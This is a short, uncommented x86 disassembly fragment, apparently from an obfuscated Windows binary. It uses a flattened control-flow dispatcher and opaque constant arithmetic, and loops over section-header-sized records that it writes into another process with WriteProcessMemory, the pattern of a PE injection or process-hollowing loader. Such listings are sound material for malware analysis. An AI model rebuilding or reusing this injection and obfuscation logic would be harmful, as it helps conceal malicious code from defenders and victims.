mov dword [ebp - 0xf4], 0x6c36d3be
jmp 0x100066e2
mov dword [ebp - 0xf4], 0x50545ced
jmp 0x100066e2
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0xf4], 0xa7ff0314
jmp 0x100066e2
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0xf4], 0x87c8934d
jmp 0x100066e2
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb0]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0xec]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xc0]
mov edx, dword [edx]
mov esi, dword [ebp - 0xb0]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0x14]
add ecx, 0xba2b2fbd
add ecx, edx
sub ecx, 0xba2b2fbd
mov edx, dword [ebp - 0xc8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xc0]
mov esi, dword [esi]
mov edi, dword [ebp - 0xb0]
imul edi, dword [edi], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edi
sub edx, esi
mov esi, dword [ebp - 0xdc]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0xf4], 0x98e96609
jmp 0x100066e2
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax]
sub ecx, 0x859c8e93
add ecx, 1
add ecx, 0x859c8e93
mov eax, dword [ebp - 0xb0]
mov dword [eax], ecx
mov dword [ebp - 0xf4], 0x386f287c
jmp 0x100066e2
mov dword [ebp - 0xf4], 0xc2ca8cec
jmp 0x100066e2
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0xf4], 0xa2658a2a
jmp 0x100066e2
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0xf4], 0x598c0771
jmp 0x100066e2
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
add ecx, 0x8ddc9d4d
sub ecx, eax
sub ecx, 0x8ddc9d4d
mov eax, dword [ebp - 0xa0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x9c]
mov dword [eax], 0
mov dword [ebp - 0xf4], 0x2dbf0d74
jmp 0x100066e2
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0xf4], 0xe816f8ef
jmp 0x100066e2
mov dword [ebp - 0xf4], 0x895f038
jmp 0x100066e2
mov dword [ebp - 0xf4], 0x4721155f
jmp 0x100035af